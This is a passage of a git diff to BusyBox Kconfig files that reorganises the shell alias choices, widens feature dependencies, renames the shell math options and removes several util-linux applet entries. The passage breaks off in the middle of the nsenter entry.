 config BUSYBOX_CONFIG_SETENFORCE
 	bool "setenforce"
 	default BUSYBOX_DEFAULT_SETENFORCE
 	depends on BUSYBOX_CONFIG_SELINUX
 	help
 	  Enable support to modify the mode SELinux is running in.
-
 config BUSYBOX_CONFIG_SETFILES
 	bool "setfiles"
 	default BUSYBOX_DEFAULT_SETFILES
@@ -106,6 +95,13 @@ config BUSYBOX_CONFIG_FEATURE_SETFILES_CHECK_OPTION
 	  Support "-c" option (check the validity of the contexts against
 	  the specified binary policy) for setfiles. Requires libsepol.
 
+config BUSYBOX_CONFIG_RESTORECON
+	bool "restorecon"
+	default BUSYBOX_DEFAULT_RESTORECON
+	depends on BUSYBOX_CONFIG_SELINUX
+	help
+	  Enable support to relabel files. The feature is almost
+	  the same as setfiles, but usage is a little different.
 config BUSYBOX_CONFIG_SETSEBOOL
 	bool "setsebool"
 	default BUSYBOX_DEFAULT_SETSEBOOL
@@ -114,11 +110,4 @@ config BUSYBOX_CONFIG_SETSEBOOL
 	  Enable support for change boolean.
 	  semanage and -P option is not supported yet.
 
-config BUSYBOX_CONFIG_SESTATUS
-	bool "sestatus"
-	default BUSYBOX_DEFAULT_SESTATUS
-	depends on BUSYBOX_CONFIG_SELINUX
-	help
-	  Displays the status of SELinux.
-
 endmenu
diff --git a/package/utils/busybox/config/shell/Config.in b/package/utils/busybox/config/shell/Config.in
index 69ecf14..4193c18 100644
--- a/package/utils/busybox/config/shell/Config.in
+++ b/package/utils/busybox/config/shell/Config.in
@@ -6,6 +6,57 @@
 
 menu "Shells"
 
+
+choice
+	prompt "Choose which shell is aliased to 'sh' name"
+	default BUSYBOX_CONFIG_SH_IS_ASH
+	help
+	  Choose which shell you want to be executed by 'sh' alias.
+	  The ash shell is the most bash compatible and full featured one.
+
+# note: cannot use "select ASH" here, it breaks "make allnoconfig"
+config BUSYBOX_CONFIG_SH_IS_ASH
+	depends on !BUSYBOX_CONFIG_NOMMU
+	bool "ash"
+
+config BUSYBOX_CONFIG_SH_IS_HUSH
+	bool "hush"
+
+config BUSYBOX_CONFIG_SH_IS_NONE
+	bool "none"
+
+endchoice
+
+choice
+	prompt "Choose which shell is aliased to 'bash' name"
+	default BUSYBOX_CONFIG_BASH_IS_NONE
+	help
+	  Choose which shell you want to be executed by 'bash' alias.
+	  The ash shell is the most bash compatible and full featured one.
+
+	  Note that selecting this option does not switch on any bash
+	  compatibility code. It merely makes it possible to install
+	  /bin/bash (sym)link and run scripts which start with
+	  #!/bin/bash line.
+
+	  Many systems use it in scripts which use bash-specific features,
+	  even simple ones like $RANDOM. Without this option, busybox
+	  can't be used for running them because it won't recongnize
+	  "bash" as a supported applet name.
+
+config BUSYBOX_CONFIG_BASH_IS_ASH
+	depends on !BUSYBOX_CONFIG_NOMMU
+	bool "ash"
+
+config BUSYBOX_CONFIG_BASH_IS_HUSH
+	bool "hush"
+
+config BUSYBOX_CONFIG_BASH_IS_NONE
+	bool "none"
+
+endchoice
+
+
 config BUSYBOX_CONFIG_ASH
 	bool "ash"
 	default BUSYBOX_DEFAULT_ASH
@@ -17,73 +68,109 @@ config BUSYBOX_CONFIG_ASH
 	  shell (by Herbert Xu), which was created by porting the 'ash' shell
 	  (written by Kenneth Almquist) from NetBSD.
 
+config BUSYBOX_CONFIG_ASH_OPTIMIZE_FOR_SIZE
+	bool "Optimize for size instead of speed"
+	default BUSYBOX_DEFAULT_ASH_OPTIMIZE_FOR_SIZE
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
+	help
+	  Compile ash for reduced size at the price of speed.
+
+config BUSYBOX_CONFIG_ASH_INTERNAL_GLOB
+	bool "Use internal glob() implementation"
+	default BUSYBOX_DEFAULT_ASH_INTERNAL_GLOB	# Y is bigger, but because of uclibc glob() bug, let Y be default for now
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
+	help
+	  Do not use glob() function from libc, use internal implementation.
+	  Use this if you are getting "glob.h: No such file or directory"
+	  or similar build errors.
+
+config BUSYBOX_CONFIG_ASH_RANDOM_SUPPORT
+	bool "Pseudorandom generator and $RANDOM variable"
+	default BUSYBOX_DEFAULT_ASH_RANDOM_SUPPORT
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
+	help
+	  Enable pseudorandom generator and dynamic variable "$RANDOM".
+	  Each read of "$RANDOM" will generate a new pseudorandom value.
+	  You can reset the generator by using a specified start value.
+	  After "unset RANDOM" the generator will switch off and this
+	  variable will no longer have special treatment.
+
+config BUSYBOX_CONFIG_ASH_EXPAND_PRMT
+	bool "Expand prompt string"
+	default BUSYBOX_DEFAULT_ASH_EXPAND_PRMT
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
+	help
+	  "PS#" may contain volatile content, such as backquote commands.
+	  This option recreates the prompt string from the environment
+	  variable each time it is displayed.
+
 config BUSYBOX_CONFIG_ASH_BASH_COMPAT
 	bool "bash-compatible extensions"
 	default BUSYBOX_DEFAULT_ASH_BASH_COMPAT
-	depends on BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
 	help
 	  Enable bash-compatible extensions.
 
 config BUSYBOX_CONFIG_ASH_IDLE_TIMEOUT
 	bool "Idle timeout variable"
 	default BUSYBOX_DEFAULT_ASH_IDLE_TIMEOUT
-	depends on BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
 	help
 	  Enables bash-like auto-logout after $TMOUT seconds of idle time.
 
 config BUSYBOX_CONFIG_ASH_JOB_CONTROL
 	bool "Job control"
 	default BUSYBOX_DEFAULT_ASH_JOB_CONTROL
-	depends on BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
 	help
 	  Enable job control in the ash shell.
 
 config BUSYBOX_CONFIG_ASH_ALIAS
 	bool "Alias support"
 	default BUSYBOX_DEFAULT_ASH_ALIAS
-	depends on BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
 	help
 	  Enable alias support in the ash shell.
 
 config BUSYBOX_CONFIG_ASH_GETOPTS
 	bool "Builtin getopt to parse positional parameters"
 	default BUSYBOX_DEFAULT_ASH_GETOPTS
-	depends on BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
 	help
 	  Enable support for getopts builtin in ash.
 
 config BUSYBOX_CONFIG_ASH_BUILTIN_ECHO
 	bool "Builtin version of 'echo'"
 	default BUSYBOX_DEFAULT_ASH_BUILTIN_ECHO
-	depends on BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
 	help
 	  Enable support for echo builtin in ash.
 
 config BUSYBOX_CONFIG_ASH_BUILTIN_PRINTF
 	bool "Builtin version of 'printf'"
 	default BUSYBOX_DEFAULT_ASH_BUILTIN_PRINTF
-	depends on BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
 	help
 	  Enable support for printf builtin in ash.
 
 config BUSYBOX_CONFIG_ASH_BUILTIN_TEST
 	bool "Builtin version of 'test'"
 	default BUSYBOX_DEFAULT_ASH_BUILTIN_TEST
-	depends on BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
 	help
 	  Enable support for test builtin in ash.
 
 config BUSYBOX_CONFIG_ASH_HELP
 	bool "help builtin"
 	default BUSYBOX_DEFAULT_ASH_HELP
-	depends on BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
 	help
 	  Enable help builtin in ash.
 
 config BUSYBOX_CONFIG_ASH_CMDCMD
 	bool "'command' command to override shell builtins"
 	default BUSYBOX_DEFAULT_ASH_CMDCMD
-	depends on BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
 	help
 	  Enable support for the ash 'command' builtin, which allows
 	  you to run the specified command with the specified arguments,
@@ -92,37 +179,9 @@ config BUSYBOX_CONFIG_ASH_CMDCMD
 config BUSYBOX_CONFIG_ASH_MAIL
 	bool "Check for new mail on interactive shells"
 	default BUSYBOX_DEFAULT_ASH_MAIL
-	depends on BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
 	help
 	  Enable "check for new mail" function in the ash shell.
-
-config BUSYBOX_CONFIG_ASH_OPTIMIZE_FOR_SIZE
-	bool "Optimize for size instead of speed"
-	default BUSYBOX_DEFAULT_ASH_OPTIMIZE_FOR_SIZE
-	depends on BUSYBOX_CONFIG_ASH
-	help
-	  Compile ash for reduced size at the price of speed.
-
-config BUSYBOX_CONFIG_ASH_RANDOM_SUPPORT
-	bool "Pseudorandom generator and $RANDOM variable"
-	default BUSYBOX_DEFAULT_ASH_RANDOM_SUPPORT
-	depends on BUSYBOX_CONFIG_ASH
-	help
-	  Enable pseudorandom generator and dynamic variable "$RANDOM".
-	  Each read of "$RANDOM" will generate a new pseudorandom value.
-	  You can reset the generator by using a specified start value.
-	  After "unset RANDOM" the generator will switch off and this
-	  variable will no longer have special treatment.
-
-config BUSYBOX_CONFIG_ASH_EXPAND_PRMT
-	bool "Expand prompt string"
-	default BUSYBOX_DEFAULT_ASH_EXPAND_PRMT
-	depends on BUSYBOX_CONFIG_ASH
-	help
-	  "PS#" may contain volatile content, such as backquote commands.
-	  This option recreates the prompt string from the environment
-	  variable each time it is displayed.
-
 config BUSYBOX_CONFIG_CTTYHACK
 	bool "cttyhack"
 	default BUSYBOX_DEFAULT_CTTYHACK
@@ -183,7 +242,7 @@ config BUSYBOX_CONFIG_HUSH
 config BUSYBOX_CONFIG_HUSH_BASH_COMPAT
 	bool "bash-compatible extensions"
 	default BUSYBOX_DEFAULT_HUSH_BASH_COMPAT
-	depends on BUSYBOX_CONFIG_HUSH
+	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  Enable bash-compatible extensions.
 
@@ -197,14 +256,14 @@ config BUSYBOX_CONFIG_HUSH_BRACE_EXPANSION
 config BUSYBOX_CONFIG_HUSH_HELP
 	bool "help builtin"
 	default BUSYBOX_DEFAULT_HUSH_HELP
-	depends on BUSYBOX_CONFIG_HUSH
+	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  Enable help builtin in hush. Code size + ~1 kbyte.
 
 config BUSYBOX_CONFIG_HUSH_INTERACTIVE
 	bool "Interactive mode"
 	default BUSYBOX_DEFAULT_HUSH_INTERACTIVE
-	depends on BUSYBOX_CONFIG_HUSH
+	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  Enable interactive mode (prompt and command editing).
 	  Without this, hush simply reads and executes commands
@@ -232,35 +291,35 @@ config BUSYBOX_CONFIG_HUSH_JOB
 config BUSYBOX_CONFIG_HUSH_TICK
 	bool "Process substitution"
 	default BUSYBOX_DEFAULT_HUSH_TICK
-	depends on BUSYBOX_CONFIG_HUSH
+	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  Enable process substitution `command` and $(command) in hush.
 
 config BUSYBOX_CONFIG_HUSH_IF
 	bool "Support if/then/elif/else/fi"
 	default BUSYBOX_DEFAULT_HUSH_IF
-	depends on BUSYBOX_CONFIG_HUSH
+	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  Enable if/then/elif/else/fi in hush.
 
 config BUSYBOX_CONFIG_HUSH_LOOPS
 	bool "Support for, while and until loops"
 	default BUSYBOX_DEFAULT_HUSH_LOOPS
-	depends on BUSYBOX_CONFIG_HUSH
+	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  Enable for, while and until loops in hush.
 
 config BUSYBOX_CONFIG_HUSH_CASE
 	bool "Support case ... esac statement"
 	default BUSYBOX_DEFAULT_HUSH_CASE
-	depends on BUSYBOX_CONFIG_HUSH
+	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  Enable case ... esac statement in hush. +400 bytes.
 
 config BUSYBOX_CONFIG_HUSH_FUNCTIONS
 	bool "Support funcname() { commands; } syntax"
 	default BUSYBOX_DEFAULT_HUSH_FUNCTIONS
-	depends on BUSYBOX_CONFIG_HUSH
+	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  Enable support for shell functions in hush. +800 bytes.
 
@@ -274,7 +333,7 @@ config BUSYBOX_CONFIG_HUSH_LOCAL
 config BUSYBOX_CONFIG_HUSH_RANDOM_SUPPORT
 	bool "Pseudorandom generator and $RANDOM variable"
 	default BUSYBOX_DEFAULT_HUSH_RANDOM_SUPPORT
-	depends on BUSYBOX_CONFIG_HUSH
+	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  Enable pseudorandom generator and dynamic variable "$RANDOM".
 	  Each read of "$RANDOM" will generate a new pseudorandom value.
@@ -282,14 +341,14 @@ config BUSYBOX_CONFIG_HUSH_RANDOM_SUPPORT
 config BUSYBOX_CONFIG_HUSH_EXPORT_N
 	bool "Support 'export -n' option"
 	default BUSYBOX_DEFAULT_HUSH_EXPORT_N
-	depends on BUSYBOX_CONFIG_HUSH
+	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  export -n unexports variables. It is a bash extension.
 
 config BUSYBOX_CONFIG_HUSH_MODE_X
 	bool "Support 'hush -x' option and 'set -x' command"
 	default BUSYBOX_DEFAULT_HUSH_MODE_X
-	depends on BUSYBOX_CONFIG_HUSH
+	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  This instructs hush to print commands before execution.
 	  Adds ~300 bytes.
@@ -302,72 +361,17 @@ config BUSYBOX_CONFIG_MSH
 	  msh is deprecated and will be removed, please migrate to hush.
 
 
-
-choice
-	prompt "Choose which shell is aliased to 'sh' name"
-	default BUSYBOX_CONFIG_FEATURE_SH_IS_ASH
-	help
-	  Choose which shell you want to be executed by 'sh' alias.
-	  The ash shell is the most bash compatible and full featured one.
-
-# note: cannot use "select ASH" here, it breaks "make allnoconfig"
-config BUSYBOX_CONFIG_FEATURE_SH_IS_ASH
-	depends on BUSYBOX_CONFIG_ASH
-	bool "ash"
-	depends on !BUSYBOX_CONFIG_NOMMU
-
-config BUSYBOX_CONFIG_FEATURE_SH_IS_HUSH
-	depends on BUSYBOX_CONFIG_HUSH
-	bool "hush"
-
-config BUSYBOX_CONFIG_FEATURE_SH_IS_NONE
-	bool "none"
-
-endchoice
-
-choice
-	prompt "Choose which shell is aliased to 'bash' name"
-	default BUSYBOX_CONFIG_FEATURE_BASH_IS_NONE
-	help
-	  Choose which shell you want to be executed by 'bash' alias.
-	  The ash shell is the most bash compatible and full featured one.
-
-	  Note that selecting this option does not switch on any bash
-	  compatibility code. It merely makes it possible to install
-	  /bin/bash (sym)link and run scripts which start with
-	  #!/bin/bash line.
-
-	  Many systems use it in scripts which use bash-specific features,
-	  even simple ones like $RANDOM. Without this option, busybox
-	  can't be used for running them because it won't recongnize
-	  "bash" as a supported applet name.
-
-config BUSYBOX_CONFIG_FEATURE_BASH_IS_ASH
-	depends on BUSYBOX_CONFIG_ASH
-	bool "ash"
-	depends on !BUSYBOX_CONFIG_NOMMU
-
-config BUSYBOX_CONFIG_FEATURE_BASH_IS_HUSH
-	depends on BUSYBOX_CONFIG_HUSH
-	bool "hush"
-
-config BUSYBOX_CONFIG_FEATURE_BASH_IS_NONE
-	bool "none"
-
-endchoice
-
-
-config BUSYBOX_CONFIG_SH_MATH_SUPPORT
+config BUSYBOX_CONFIG_FEATURE_SH_MATH
 	bool "POSIX math support"
-	default BUSYBOX_DEFAULT_SH_MATH_SUPPORT
-	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_HUSH
+	default BUSYBOX_DEFAULT_FEATURE_SH_MATH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  Enable math support in the shell via $((...)) syntax.
 
-config BUSYBOX_CONFIG_SH_MATH_SUPPORT_64
+config BUSYBOX_CONFIG_FEATURE_SH_MATH_64
 	bool "Extend POSIX math support to 64 bit"
-	default BUSYBOX_DEFAULT_SH_MATH_SUPPORT_64
-	depends on BUSYBOX_CONFIG_SH_MATH_SUPPORT
+	default BUSYBOX_DEFAULT_FEATURE_SH_MATH_64
+	depends on BUSYBOX_CONFIG_FEATURE_SH_MATH
 	help
 	  Enable 64-bit math support in the shell. This will make the shell
 	  slightly larger, but will allow computation with very large numbers.
@@ -376,14 +380,14 @@ config BUSYBOX_CONFIG_SH_MATH_SUPPORT_64
 config BUSYBOX_CONFIG_FEATURE_SH_EXTRA_QUIET
 	bool "Hide message on interactive shell startup"
 	default BUSYBOX_DEFAULT_FEATURE_SH_EXTRA_QUIET
-	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  Remove the busybox introduction when starting a shell.
 
 config BUSYBOX_CONFIG_FEATURE_SH_STANDALONE
 	bool "Standalone shell"
 	default BUSYBOX_DEFAULT_FEATURE_SH_STANDALONE
-	depends on (BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_ASH) && BUSYBOX_CONFIG_FEATURE_PREFER_APPLETS
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  This option causes busybox shells to use busybox applets
 	  in preference to executables in the PATH whenever possible. For
@@ -416,7 +420,7 @@ config BUSYBOX_CONFIG_FEATURE_SH_STANDALONE
 config BUSYBOX_CONFIG_FEATURE_SH_NOFORK
 	bool "Run 'nofork' applets directly"
 	default BUSYBOX_DEFAULT_FEATURE_SH_NOFORK
-	depends on (BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_ASH) && BUSYBOX_CONFIG_FEATURE_PREFER_APPLETS
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  This option causes busybox shells to not execute typical
 	  fork/exec/wait sequence, but call <applet>_main directly,
@@ -434,7 +438,7 @@ config BUSYBOX_CONFIG_FEATURE_SH_NOFORK
 config BUSYBOX_CONFIG_FEATURE_SH_HISTFILESIZE
 	bool "Use $HISTFILESIZE"
 	default BUSYBOX_DEFAULT_FEATURE_SH_HISTFILESIZE
-	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  This option makes busybox shells to use $HISTFILESIZE variable
 	  to set shell history size. Note that its max value is capped
diff --git a/package/utils/busybox/config/sysklogd/Config.in b/package/utils/busybox/config/sysklogd/Config.in
index 5fcee2c..1f8f3cf 100644
--- a/package/utils/busybox/config/sysklogd/Config.in
+++ b/package/utils/busybox/config/sysklogd/Config.in
@@ -47,7 +47,6 @@ config BUSYBOX_CONFIG_LOGGER
 config BUSYBOX_CONFIG_LOGREAD
 	bool "logread"
 	default BUSYBOX_DEFAULT_LOGREAD
-	depends on BUSYBOX_CONFIG_FEATURE_IPC_SYSLOG
 	help
 	  If you enabled Circular Buffer support, you almost
 	  certainly want to enable this feature as well. This
diff --git a/package/utils/busybox/config/util-linux/Config.in b/package/utils/busybox/config/util-linux/Config.in
index 08bddf8..8df023c 100644
--- a/package/utils/busybox/config/util-linux/Config.in
+++ b/package/utils/busybox/config/util-linux/Config.in
@@ -6,222 +6,6 @@
 
 menu "Linux System Utilities"
 
-config BUSYBOX_CONFIG_BLKDISCARD
-	bool "blkdiscard"
-	default BUSYBOX_DEFAULT_BLKDISCARD
-	help
-	  blkdiscard discards sectors on a given device.
-config BUSYBOX_CONFIG_BLOCKDEV
-	bool "blockdev"
-	default BUSYBOX_DEFAULT_BLOCKDEV
-	help
-	  Performs some ioctls with block devices.
-config BUSYBOX_CONFIG_FATATTR
-	bool "fatattr"
-	default BUSYBOX_DEFAULT_FATATTR
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  fatattr lists or changes the file attributes on a fat file system.
-config BUSYBOX_CONFIG_FSTRIM
-	bool "fstrim"
-	default BUSYBOX_DEFAULT_FSTRIM
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Discard unused blocks on a mounted filesystem.
-config BUSYBOX_CONFIG_MDEV
-	bool "mdev"
-	default BUSYBOX_DEFAULT_MDEV
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  mdev is a mini-udev implementation for dynamically creating device
-	  nodes in the /dev directory.
-
-	  For more information, please see docs/mdev.txt
-
-config BUSYBOX_CONFIG_FEATURE_MDEV_CONF
-	bool "Support /etc/mdev.conf"
-	default BUSYBOX_DEFAULT_FEATURE_MDEV_CONF
-	depends on BUSYBOX_CONFIG_MDEV
-	help
-	  Add support for the mdev config file to control ownership and
-	  permissions of the device nodes.
-
-	  For more information, please see docs/mdev.txt
-
-config BUSYBOX_CONFIG_FEATURE_MDEV_RENAME
-	bool "Support subdirs/symlinks"
-	default BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME
-	depends on BUSYBOX_CONFIG_FEATURE_MDEV_CONF
-	help
-	  Add support for renaming devices and creating symlinks.
-
-	  For more information, please see docs/mdev.txt
-
-config BUSYBOX_CONFIG_FEATURE_MDEV_RENAME_REGEXP
-	bool "Support regular expressions substitutions when renaming device"
-	default BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME_REGEXP
-	depends on BUSYBOX_CONFIG_FEATURE_MDEV_RENAME
-	help
-	  Add support for regular expressions substitutions when renaming
-	  device.
-
-config BUSYBOX_CONFIG_FEATURE_MDEV_EXEC
-	bool "Support command execution at device addition/removal"
-	default BUSYBOX_DEFAULT_FEATURE_MDEV_EXEC
-	depends on BUSYBOX_CONFIG_FEATURE_MDEV_CONF
-	help
-	  This adds support for an optional field to /etc/mdev.conf for
-	  executing commands when devices are created/removed.
-
-	  For more information, please see docs/mdev.txt
-
-config BUSYBOX_CONFIG_FEATURE_MDEV_LOAD_FIRMWARE
-	bool "Support loading of firmwares"
-	default BUSYBOX_DEFAULT_FEATURE_MDEV_LOAD_FIRMWARE
-	depends on BUSYBOX_CONFIG_MDEV
-	help
-	  Some devices need to load firmware before they can be usable.
-
-	  These devices will request userspace look up the files in
-	  /lib/firmware/ and if it exists, send it to the kernel for
-	  loading into the hardware.
-config BUSYBOX_CONFIG_MOUNT
-	bool "mount"
-	default BUSYBOX_DEFAULT_MOUNT
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  All files and filesystems in Unix are arranged into one big directory
-	  tree. The 'mount' utility is used to graft a filesystem onto a
-	  particular part of the tree. A filesystem can either live on a block
-	  device, or it can be accessible over the network, as is the case with
-	  NFS filesystems. Most people using BusyBox will also want to enable
-	  the 'mount' utility.
-
-config BUSYBOX_CONFIG_FEATURE_MOUNT_FAKE
-	bool "Support option -f"
-	default BUSYBOX_DEFAULT_FEATURE_MOUNT_FAKE
-	depends on BUSYBOX_CONFIG_MOUNT
-	help
-	  Enable support for faking a file system mount.
-
-config BUSYBOX_CONFIG_FEATURE_MOUNT_VERBOSE
-	bool "Support option -v"
-	default BUSYBOX_DEFAULT_FEATURE_MOUNT_VERBOSE
-	depends on BUSYBOX_CONFIG_MOUNT
-	help
-	  Enable multi-level -v[vv...] verbose messages. Useful if you
-	  debug mount problems and want to see what is exactly passed
-	  to the kernel.
-
-config BUSYBOX_CONFIG_FEATURE_MOUNT_HELPERS
-	bool "Support mount helpers"
-	default BUSYBOX_DEFAULT_FEATURE_MOUNT_HELPERS
-	depends on BUSYBOX_CONFIG_MOUNT
-	help
-	  Enable mounting of virtual file systems via external helpers.
-	  E.g. "mount obexfs#-b00.11.22.33.44.55 /mnt" will in effect call
-	  "obexfs -b00.11.22.33.44.55 /mnt"
-	  Also "mount -t sometype [-o opts] fs /mnt" will try
-	  "sometype [-o opts] fs /mnt" if simple mount syscall fails.
-	  The idea is to use such virtual filesystems in /etc/fstab.
-
-config BUSYBOX_CONFIG_FEATURE_MOUNT_LABEL
-	bool "Support specifying devices by label or UUID"
-	default BUSYBOX_DEFAULT_FEATURE_MOUNT_LABEL
-	depends on BUSYBOX_CONFIG_MOUNT
-	select BUSYBOX_CONFIG_VOLUMEID
-	help
-	  This allows for specifying a device by label or uuid, rather than by
-	  name. This feature utilizes the same functionality as blkid/findfs.
-	  This also enables label or uuid support for swapon.
-
-config BUSYBOX_CONFIG_FEATURE_MOUNT_NFS
-	bool "Support mounting NFS file systems on Linux < 2.6.23"
-	default BUSYBOX_DEFAULT_FEATURE_MOUNT_NFS
-	depends on BUSYBOX_CONFIG_MOUNT
-	select BUSYBOX_CONFIG_FEATURE_HAVE_RPC
-	select BUSYBOX_CONFIG_FEATURE_SYSLOG
-	help
-	  Enable mounting of NFS file systems on Linux kernels prior
-	  to version 2.6.23. Note that in this case mounting of NFS
-	  over IPv6 will not be possible.
-
-	  Note that this option links in RPC support from libc,
-	  which is rather large (~10 kbytes on uclibc).
-
-config BUSYBOX_CONFIG_FEATURE_MOUNT_CIFS
-	bool "Support mounting CIFS/SMB file systems"
-	default BUSYBOX_DEFAULT_FEATURE_MOUNT_CIFS
-	depends on BUSYBOX_CONFIG_MOUNT
-	help
-	  Enable support for samba mounts.
-
-config BUSYBOX_CONFIG_FEATURE_MOUNT_FLAGS
-	depends on BUSYBOX_CONFIG_MOUNT
-	bool "Support lots of -o flags in mount"
-	default BUSYBOX_DEFAULT_FEATURE_MOUNT_FLAGS
-	help
-	  Without this, mount only supports ro/rw/remount. With this, it
-	  supports nosuid, suid, dev, nodev, exec, noexec, sync, async, atime,
-	  noatime, diratime, nodiratime, loud, bind, move, shared, slave,
-	  private, unbindable, rshared, rslave, rprivate, and runbindable.
-
-config BUSYBOX_CONFIG_FEATURE_MOUNT_FSTAB
-	depends on BUSYBOX_CONFIG_MOUNT
-	bool "Support /etc/fstab and -a"
-	default BUSYBOX_DEFAULT_FEATURE_MOUNT_FSTAB
-	help
-	  Support mount all and looking for files in /etc/fstab.
-
-config BUSYBOX_CONFIG_FEATURE_MOUNT_OTHERTAB
-	depends on BUSYBOX_CONFIG_FEATURE_MOUNT_FSTAB
-	bool "Support -T <alt_fstab>"
-	default BUSYBOX_DEFAULT_FEATURE_MOUNT_OTHERTAB
-	help
-	  Support mount -T (specifying an alternate fstab)
-config BUSYBOX_CONFIG_NSENTER
-	bool "nsenter"
-	default BUSYBOX_DEFAULT_NSENTER
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Run program with namespaces of other processes.
-
-config BUSYBOX_CONFIG_FEATURE_NSENTER_LONG_OPTS
-	bool "Enable long options"
